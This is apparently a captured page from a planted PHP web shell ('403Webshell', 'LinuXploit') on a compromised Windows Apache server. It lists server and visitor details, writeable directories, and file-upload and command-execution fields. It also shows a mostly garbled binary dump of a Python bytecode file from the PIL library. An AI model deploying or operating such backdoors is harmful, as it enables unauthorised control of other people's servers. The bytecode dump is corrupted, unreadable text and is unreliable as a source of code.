403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/PIL/__pycache__/ImageStat.cpython-39.opt-1.pyc
a

h�a=�@s.ddlZddlZddlZGdd�d�ZeZdS)�Nc@sfeZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�StatNcCsjz |r|�|�|_n
|��|_Wnty8||_Yn0t|jt�sNtd��ttt|j�d��|_dS)Nz$first argument must be image or list�)	�	histogram�h�AttributeError�
isinstance�list�	TypeError�range�len�bands)�selfZ
image_or_list�mask�r�1/usr/lib/python3.9/site-packages/PIL/ImageStat.py�__init__sz
Stat.__init__cCs8|dd�dkrt|��t|d|��}t|||�|S)zCalculate missing attributeN�Z_get)r�getattr�setattr)r
�id�vrrr�__getattr__*s
zStat.__getattr__cCs@dd�}g}tdt|j�d�D]}|�||j|d���q|S)z-Get min/max values for each band in the imagecSs:d}d}td�D] }||rt||�}t||�}q||fS)N�rr)r
�min�max)r�n�x�irrr�minmax6s
z Stat._getextrema.<locals>.minmaxrrN�r
rr�append)r
rrrrrr�_getextrema3s
	zStat._getextremac
CsBg}tdt|j�d�D]&}|�t�tj|j||d���q|S)z(Get total number of pixels in each layerrr)r
rrr �	functools�reduce�operator�add�r
rrrrr�	_getcountDs$zStat._getcountcCsRg}tdt|j�d�D]6}d}td�D]}|||j||7}q&|�|�q|S)z#Get sum of all pixels in each layerrr�r)r
rrZlayerSum�jrrr�_getsumLszStat._getsumcCsZg}tdt|j�d�D]>}d}td�D]"}||dt|j||�7}q&|�|�q|S)z+Get squared sum of all pixels in each layerrrr(�)r
rr�floatr )r
rr�sum2r)rrr�_getsum2Ws z
Stat._getsum2cCs.g}|jD]}|�|j||j|�q
|S)z&Get average pixel level for each layer)rr �sum�countr&rrr�_getmeanbs
z
Stat._getmeancCsdg}|jD]T}d}|j|d}|d}td�D]"}||j||}||kr0qTq0|�|�q
|S)z%Get median pixel level for each layerrr+r)rr0r
rr )r
rr�sZhalf�br)rrr�
_getmedianjs
zStat._getmediancCs4g}|jD]$}|�t�|j||j|��q
|S)zGet RMS for each layer)rr �math�sqrtr-r0r&rrr�_getrmsys
"zStat._getrmscCsDg}|jD]4}|j|}|�|j||j|d||�q
|S)zGet variance for each layerg@)rr0r r-r/)r
rrrrrr�_getvar�s


(zStat._getvarcCs*g}|jD]}|�t�|j|��q
|S)z%Get standard deviation for each layer)rr r5r6�varr&rrr�
_getstddev�s
zStat._getstddev)N)�__name__�
__module__�__qualname__rrr!r'r*r.r1r4r7r8r:rrrrrs
		r)r"r5r$rZGlobalrrrr�<module>sv

Youez - 2016 - github.com/yon3zu
LinuXploit